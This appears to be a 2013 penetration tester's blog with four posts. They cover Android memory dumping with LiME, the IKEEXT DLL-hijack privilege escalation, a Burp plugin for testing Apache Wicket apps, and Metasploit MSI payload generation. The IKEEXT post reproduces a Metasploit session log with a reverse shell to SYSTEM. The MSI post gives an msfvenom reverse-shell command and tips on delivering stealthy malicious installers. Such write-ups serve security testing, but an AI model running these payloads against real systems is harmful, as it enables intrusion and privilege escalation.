Saturday 9 November 2013

Android Memory Forensics – Step by Step on the Galaxy Nexus I9250

This builds upon the excellent guide given by the Volatility team: https://code.google.com/p/volatility/wiki/AndroidMemoryForensics but provides an example for a physical device. This shows you how to dump the memory, but doesn't go into detail of what to do with it when you have it!

Determine Kernel Version and Model


The EAN/UPC code (off barcode on box): 8806071669526 which relates to Samsung Galaxy Nexus I9250.

Model: GT-19250 (taken from sticker under battery)

On the phone check the kernel details:

Settings > About Phone > Kernel version and Model Number

In my instance I have:

Model Number: Full AOSP on Maguro

Kernel: 3.0.31-g6fb96c9

This shows the phone is the maguro device which relates to the omap kernel (see

To match up the Kernel version look at the branches on https://android.googlesource.com/kernel/omap/ and indentify the Makefile which has the matching VERSION and SUBLEVEL:

VERSION = 3

SUBLEVEL = 31

The branch android-omap-tuna-3.0 appeared to match so I have used this in this example.
 

Setting up the environment


I used an Ubuntu 12.04 x64 within VMWare as my build environment.

Install Java6


sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java6-installer

javac -version

Java version should be 1.6

Install Packages


sudo apt-get install ia32-libs

(N.B. This bypasses following error received on x64 Ubuntu 12.04 LTS)

The following packages have unmet dependencies:
libgl1-mesa-glx:i386 : Depends: libglapi-mesa:i386 (= 8.0.4-0ubuntu0.6)

Install the rest of the required packages:

sudo apt-get install git gnupg flex bison gperf build-essential \
  zip curl libc6-dev libncurses5-dev:i386 x11proto-core-dev \
  libx11-dev:i386 libreadline6-dev:i386 libgl1-mesa-glx:i386 \
  libgl1-mesa-dev g++-multilib mingw32 tofrodos \
  python-markdown libxml2-utils xsltproc zlib1g-dev:i386 subversion

Download Android Source and Tools


mkdir ~/bin
PATH=~/bin:$PATH

curl http://commondatastorage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo

mkdir android-source
cd android-source
repo init -u https://android.googlesource.com/platform/manifest
repo sync

Configure Environment


source build/envsetup.sh

lunch full_maguro-eng

NB we don’t have to make we are just using the build environment configuration and prebuilt toolchains...

Download Kernel Source


git clone https://android.googlesource.com/kernel/omap.git

Configure and Compile Kernel Source


export ARCH=arm
export SUBARCH=arm
export CROSS_COMPILE=arm-eabi-
cd omap
git checkout -t remotes/origin/android-omap-tuna-3.0 -b tuna

make tuna_defconfig
vi Makefile

Change EXTRAVERSION to the following:

EXTRAVERSION = -g6fb96c9


vi scripts/setversionlocal

Add ‘exit’ around line 31. We do this so that it uses our EXTRAVERSION details rather than trying to generate this value itself.

usage
fi
+exit
scm_version()

 
make

If this works you should have a new arch/arm/boot/zImage file.

Download LiME


svn checkout http://lime-forensics.googlecode.com/svn/trunk/ ~/lime-forensics

Configure LiME


cd lime-forensics/src

vi Makefile

Add green lines, remove red:

+KDIR := ~/omap
+CCPATH := ~/android-source/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin
-       $(MAKE) -C /lib/modules/$(KVER)/build M=$(PWD) modules
-       strip --strip-unneeded lime.ko
-       mv lime.ko lime-$(KVER).ko

+       $(MAKE) ARCH=arm CROSS_COMPILE=$(CCPATH)/$(CROSS_COMPILE) -C $(KDIR) EXTRA_CFLAGS=-fno-pic M=$(PWD) modules

Compile LiME


make

Configure USB Access


sudo vi /etc/udev/rules.d/51-anroid.rules

Replace <username> with your username

# adb protocol on passion (Nexus One)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e12", MODE="0600", OWNER="<username>"
# fastboot protocol on passion (Nexus One)
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", ATTR{idProduct}=="0fff", MODE="0600", OWNER="<username>"
# adb protocol on crespo/crespo4g (Nexus S)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e22", MODE="0600", OWNER="<username>"
# fastboot protocol on crespo/crespo4g (Nexus S)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e20", MODE="0600", OWNER="<username>"
# adb protocol on stingray/wingray (Xoom)
SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", ATTR{idProduct}=="70a9", MODE="0600", OWNER="<username>"
# fastboot protocol on stingray/wingray (Xoom)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="708c", MODE="0600", OWNER="<username>"
# adb protocol on maguro/toro (Galaxy Nexus)
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", ATTR{idProduct}=="6860", MODE="0600", OWNER="<username>"
# fastboot protocol on maguro/toro (Galaxy Nexus)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e30", MODE="0600", OWNER="<username>"
# adb protocol on panda (PandaBoard)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d101", MODE="0600", OWNER="<username>"
# adb protocol on panda (PandaBoard ES)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="d002", MODE="0600", OWNER="<username>"
# fastboot protocol on panda (PandaBoard)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d022", MODE="0600", OWNER="<username>"
# usbboot protocol on panda (PandaBoard)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d00f", MODE="0600", OWNER="<username>"
# usbboot protocol on panda (PandaBoard ES)
SUBSYSTEM=="usb", ATTR{idVendor}=="0451", ATTR{idProduct}=="d010", MODE="0600", OWNER="<username>"
# adb protocol on grouper/tilapia (Nexus 7)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e42", MODE="0600", OWNER="<username>"
# fastboot protocol on grouper/tilapia (Nexus 7)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4e40", MODE="0600", OWNER="<username>"
# adb protocol on manta (Nexus 10)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4ee2", MODE="0600", OWNER="<username>"
# fastboot protocol on manta (Nexus 10)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="4ee0", MODE="0600", OWNER="<username>"

Download android-sdk


The android SDK is required for the Android Debug Bridge (adb) tool to upload and run a shell on the target device. USB Debugging is required for this.

wget http://dl.google.com/android/android-sdk_r22.3-linux.tgz

tar xvzf android-sdk_r22.3-linux.tgz

mv android-sdk_r22.3-linux android-sdk

Dumping the Actual Memory


We use the ADB tool to push the kernel module and then load the module which opens a TCP connection. We then use netcat to connect to the TCP server and redirect the output to a file.

cd ~/android-sdk/platform-tools

./adb devices

List of devices attached
01498B2B06001012 device

./adb push ~/lime-forensics/src/lime.ko /sdcard/lime.ko

953 KB/s (454855 bytes in 0.466s)

./adb forward tcp:4444 tcp:4444

./adb shell

su

cd /sdcard

insmod lime.ko "path=tcp:4444 format=lime"

On host:

nc localhost 4444 > lime.dump

This may take a few minutes but insmod and nc should gracefully exit when they are done.

ls -lh lime.dump

-rw-rw-r-- 1 ben ben 713M Nov 8 06:08 lime.dump

We can verify this worked by running strings on the memory dump looking for strings we know to exist (e.g. maradonna was typed into the search box):

strings lime.dump |grep maradonna

',1,5) END) AS snippet FROM search_index WHERE search_index MATCH 'content:maradonna* OR name:3F2749272D43414127* OR tokens:maradonna*' AND snippet_contact_id IN default_directory) ON (_id=snippet_contact_id) LIMIT 50

Thursday 5 September 2013

IKEEXT Windows Local Privilege Escalation

A while ago High-Tech Bridge posted a notification of an issue affecting Vista to 2008 (the service exists in Windows 8 but I haven't checked it) which leads to a Local Privilege Escalation to SYSTEM.

Basically the IKEEXT service, which is often set to 'Automatic' start is missing the wlbsctrl.dll and Microsoft have no intention of fixing it. To exploit this vulnerability another weakness must be present on the box. The %PATH% must contain a user writeable folder (or one the user can create). By creating the missing DLL even if the user cannot start the service they will likely be able to reboot the machine, catching the SYSTEM shell when it reboots.

msf exploit(ikeext_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.121:4444 
[*] Checking service exists...
[!] UAC is enabled, may get false negatives on writable folders.
[*] Checking %PATH% folders for write access...
[*] Path C:\Windows\System32\WindowsPowerShell\v1.0\ does not exist...
[*] Path C:\Program Files\Microsoft Windows Performance Toolkit\ does not exist...
[+] Write permissions in c:\bin - RW
[*] Writing 14336 bytes to c:\bin\wlbsctrl.dll...
[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot...
sessions -i 3
[*] Starting interaction with 3...

meterpreter > reboot
Rebooting...
meterpreter > 
[*] 192.168.1.11 - Meterpreter session 3 closed.  Reason: Died

[*] Sending stage (752128 bytes) to 192.168.1.11
[*] Meterpreter session 4 opened (192.168.1.121:4444 -> 192.168.1.11:49155) at 2013-09-05 23:04:03 +0100
[+] Deleted c:\bin\wlbsctrl.dll
msf exploit(ikeext_service) > sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  --  ----                   -----------                     ----------
  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ IE11WIN7  192.168.1.121:4444 -> 192.168.1.11:49155 (192.168.1.11)

This exploit could also be a sneaky persistence technique... and don't forget to switch targets for x64 systems.

You can find other exploits using techniques like this from Mubix, or more in-depth coverage can be found on binaryplanting.com. If you don't understand how bypassuac works then this is also worth a read.

Sunday 14 July 2013

Testing Apache Wicket Web Apps (1.4.x)

Apache Wicket is a Java web application framework, and its annoying to test against as it maintains a lot of state server side which makes client side manipulation difficult.

Depending on the URLCodingStrategy in use (and whether or not Encryption of the URL is in place*) you may see request containing the following parameter (or similar):

wicket:interface=:0:1:::

Each subsequent request will increase the sequence number, indicating a different version of the web page:

wicket:interface=:0:2:::
wicket:interface=:0:3:::
wicket:interface=:0:4:::

An identifier parameter with no value will be included and may be incremented for each page:

id1_hf_0=

This URL parameter tells the server which page state you are requesting. Depending on how the page has been written some will complain if requests are repeated with the wrong sequence number causing your attack to fail.

It should be possible to use the Burp Session Handling Rules to capture the new wicket:interface value as you would a CSRF token, but the macro rules didn't seem to like replacing wicket:interface and couldn't handle the identifier parameter as it changes name every time and contains no value.

I cobbled together a Burp SessionHandlingAction plugin to help overcome some of these issues and allow me to use the Repeater/Intruder/Scanner tools with valid requests, its available on Github:

https://github.com/Meatballs1/burp_wicket_handler

Its not a polished piece of work, and will probably need customization for an individual application. It also requires a Burp Macro to be recorded that will retrieve the correct wicket:interface and identifier parameters.

The steps to do this are:

1) Add Macro - The request must contain the correct wicket:interface in the response.




2) Add Session Handling - Select 'Add' > Invoke Burp Extension


3) Configure Scope

When running a tool such as Intruder or Scanner you will want to drop the number of threads down to 1. If you try and run concurrent threads you will often find that some responses will contains values from another thread. This becomes more obvious if you try to use the repeater tool whilst you have intruder running on the same page!

I hope the above is useful for someone, it has only been tested against a single installation so your mileage may vary. Instead of using a pre-recorded Macro you could extend it to perform the request using the Burp interface. This could allow more flexibility in the plugin to handle different pages automatically.

* I haven't encountered Encrypted URLs but the underlying SessionHandling actions should be able to handle this.

Sunday 10 March 2013

Metasploit MSI Payload Generation

A few months ago I created a Metasploit Local Exploit to capitalize on a registry/group policy setting that meant that .msi files were installed with SYSTEM privileges. This was documented by Parvez Anwar a while back and exploits the 'AlwaysInstallElevated' registry key or 'Always install with elevated privileges' group policy. The result is with these settings enabled a user can escalate their privileges to SYSTEM by running an .msi that executes a command or binary of their choosing.

 
It was relatively straightforward to create an .msi file that executed a file or command, using WiX, but integrating it into Metasploit to contain an automatically generated payload was not. There are no libraries to generate .msi files in Ruby as far as I could determine.

The workaround was to create a static .msi file that executes 'payload.exe' in the same folder. This .msi file and a generated Metasploit .exe are both uploaded to the target machine and the payload is executed by the .msi. This felt a bit clunky to me and I wanted to package it all up in one neat payload.

I created a simple .msi file containing a buffer as a template file. The plan was to locate the start offset (indicated by __PAYLOAD__), and overwrite that with my generated PE file. Unfortunatly, due to the way the file is constructed, it is not placed in a linear fashion within the .msi.



Bs before As doh!
 

With a bit of research I was able to uncover that while the .msi format isn't publicly documented the Microsoft Compound Document format is. A good practical description of it is available on forensicswiki.org. Using this I was able to work out the chain of locations the buffer was split into and I could correctly overwrite the file with my generated payload. Now I can generate .msi files with custom payloads using my template .msi:

./msfvenom -f msi -p windows/meterpreter/reverse_tcp LHOST=10.0.5.101 LPORT=4444 > meterp.msi

There are some interesting things to note if you are sending malicious .msi files to a target user. By default it will ask a normal user for admin credentials, or an admin user to accept the changes (if UAC is enabled).

 
The flipside to this is that the executable will be run under SYSTEM privileges.

If you can entice the user, or find another way, to run the .msi file via msiexec with the /quiet flag then this will bypass UAC. The executable will be run under the normal user's privileges, or SYSTEM if they were an admin.

 
To prevent a record of the installation in the Windows Program list some invalid VBS is attempted to make the installation fail. This will leave behind only a MSI .log file in the %TEMP% folder and a .tmp file in the C:\Windows\Installer folder (which cannot be deleted as it is the running executable).
 
 
 
I believe there are methods to make an .msi file install without requiring administrative privileges for normal users, and as my installation does not touch Program Files or the registry it is likely with further modification that this should be possible. Any feedback on this would be happily received.

You can watch the progress of this as it navigates its way into the Metasploit Framework by the Github pull request.

Whilst working on this module I was thinking of the other uses it could be put to. It may be useful when exploiting a network that uses SCCM or other third party software control or update mechanisms. I hope one day to find a writeable 'update' directory which will automatically distribute .msi files to the network.</dream>